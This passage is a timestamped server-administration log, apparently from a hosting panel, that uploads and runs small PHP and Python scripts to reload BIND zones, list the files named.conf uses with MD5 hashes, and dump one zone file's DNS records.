	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 16:09:11: 

chmod 755 /tmp/pkp315701; /tmp/pkp315701; rm /tmp/pkp315701

2026-02-09 16:09:14: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 16:09:14: 

PUT: /tmp/pkp798025

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 16:09:14: 

chmod 755 /tmp/pkp798025; /tmp/pkp798025; rm /tmp/pkp798025

2026-02-09 16:09:14: 


zone reload up-to-date


2026-02-09 16:09:15: Establishing a connection
2026-02-09 16:09:15: 

PUT: /tmp/pkp419910

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:15: 

runuser -l bind -s /bin/bash -c '/tmp/pkp419910; rm /tmp/pkp419910'

2026-02-09 16:09:15: 
2026-02-09 16:09:15: 

PUT: /tmp/pkp548124

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 16:09:15: 

chmod 755 /tmp/pkp548124; /tmp/pkp548124; rm /tmp/pkp548124

2026-02-09 16:09:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1106
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134130670 14400 3600 14400 3600 )
@                        		 IN    NS       	ns1.hostz.org.
@                        		 IN    NS       	ns2.hostz.org.
@                         300	 IN    A        	10.140.12.86
_acme-challenge           60	 IN    TXT      	"2d91YPguzluZPnvd4sCT2Ooz7nzE1mikd-8-MTWG9Q8"
_acme-challenge           60	 IN    TXT      	"q1IqJdRmYTTVWGws1-YFUJGZ9Wcs48TCdksCgndVLcw"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net.






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= ebd437838d6d13757d214b86b1ff9c48
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:27: Establishing a connection
2026-02-09 16:09:27: Establishing a connection
2026-02-09 16:09:27: 

PUT: /tmp/pkp348131

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp348131; rm /tmp/pkp348131'

2026-02-09 16:09:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
